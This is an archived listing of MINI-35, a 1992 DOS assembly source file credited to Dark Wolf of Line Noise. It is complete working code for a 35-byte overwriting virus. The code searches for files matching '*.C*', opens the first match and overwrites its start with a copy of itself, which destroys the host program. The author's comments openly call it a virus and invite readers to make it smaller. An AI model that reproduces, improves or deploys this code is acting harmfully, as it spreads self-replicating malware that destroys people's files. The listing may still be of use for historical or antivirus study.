home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / mini-35.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.6 KB  |  59 lines
  1. ; MINI-35 is Copyright (C) by Line Noise 1992...
  2. ; You are allowed to use this code in your own
  3. ; programs if you want, you are allowed to
  4. ; give this source away, sell it or whatever...
  5. ; None of the members of Line Noise should be held
  6. ; responsible for the consequences of the use
  7. ; of this program....
  8. ; Use this program at your own risk...
  9. ; Iow if you use this code, you agree with the above...
  10. ; The MINI-35 is based upon the MINI-45 from bulgaria(?).
  11. ; If anybody manages to shrink the code even more then
  12. ; leave me(Dark Wolf) a message at your nearest Virus BBS...
  13. ;
  14. ; Greetings from Dark Wolf/Line Noise
  15.  
  16.  
  17. SEG_A        SEGMENT    BYTE PUBLIC
  18.         ASSUME    CS:SEG_A, DS:SEG_A
  19.   
  20.   
  21.         ORG    100h
  22.  
  23. MINI        PROC
  24.   
  25. START:
  26.         MOV    AH,4Eh
  27.         MOV    DX,OFFSET FMATCH    ;address to file match
  28.         INT    21h            ;DOS int, ah=function 4Eh
  29.                         ;find 1st filenam match@DS:DX
  30.         MOV    AX,3D02h                ;02=for read & write...
  31.         MOV    DX,9Eh                  ;address to filename...
  32.         INT    21h            ;DOS Services  ah=function 3Dh
  33.                         ;open file, AL=mode,name@DS:DX
  34.         XCHG    AX,BX                   ;BX = handle now
  35.         MOV    DX,100h
  36.         MOV    AH,40h            ;Function 40h, write file
  37.         MOV    CL,35                  ;number of bytes to write
  38.         INT    21h            ;CX=bytes, to DS:DX
  39.                         ;BX=file handle
  40.  
  41.         MOV    AH,3Eh            ;function 3Eh, close file
  42.         INT    21h            ;BX=file handle
  43.  
  44.         RETN
  45.  
  46. FMATCH:        DB    '*.C*',0                ;The virus didn't want to
  47.                         ;work when I changed this
  48.                         ;to *.* or *...
  49.                         ;WHY NOT?! Anybody gotta
  50.                         ;hint on this?!
  51.   
  52. MINI        ENDP
  53.  
  54. SEG_A        ENDS
  55.   
  56.   
  57.   
  58.         END    START
  59.